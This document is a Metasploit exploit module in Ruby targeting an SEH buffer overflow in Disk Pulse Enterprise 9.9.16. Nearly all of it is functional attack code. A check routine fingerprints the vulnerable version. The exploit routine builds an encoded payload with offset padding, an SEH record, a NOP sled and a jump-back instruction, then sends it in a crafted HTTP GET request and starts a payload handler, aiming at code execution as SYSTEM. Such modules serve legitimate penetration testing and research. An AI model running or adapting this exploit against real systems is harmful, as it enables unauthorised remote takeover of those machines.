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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Disk Pulse Enterprise GET Buffer Overflow',
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      'Description'    => %q(
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        This module exploits an SEH buffer overflow in Disk Pulse Enterprise
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        9.9.16. If a malicious user sends a crafted HTTP GET request
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        it is possible to execute a payload that would run under the Windows
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        NT AUTHORITY\SYSTEM account.
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      ),
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Chance Johnson', # msf module - [email protected]
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          'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
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        ],
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      'References'     =>
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        [
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          [ 'EDB', '42560' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => 'win',
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      'Payload'        =>
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        {
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          'EncoderType' => "alpha_mixed",
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          'BadChars' => "\x00\x0a\x0d\x26"
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        },
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      'Targets'        =>
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        [
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          [ 'Disk Pulse Enterprise 9.9.16',
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            {
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              'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
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              'Offset' => 2492
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            }]
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2017-08-25',
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      'DefaultTarget'  => 0))
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    register_options([Opt::RPORT(80)])
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  end
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  def check
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    res = send_request_cgi(
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      'uri'    =>  '/',
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      'method' =>  'GET'
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    )
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    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    print_status("Generating exploit...")
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    exp = payload.encoded
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    exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
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    exp << generate_seh_record(target.ret)
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    exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
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    exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
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    exp << 'B' * (5000 - exp.length) # padding
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    print_status("Sending exploit...")
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    send_request_cgi(
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      'uri' =>  '/../' + exp,
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      'method' =>  'GET',
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      'host' =>  '4.2.2.2',
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      'connection' =>  'keep-alive'
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    )
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    handler
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    disconnect
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  end
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end
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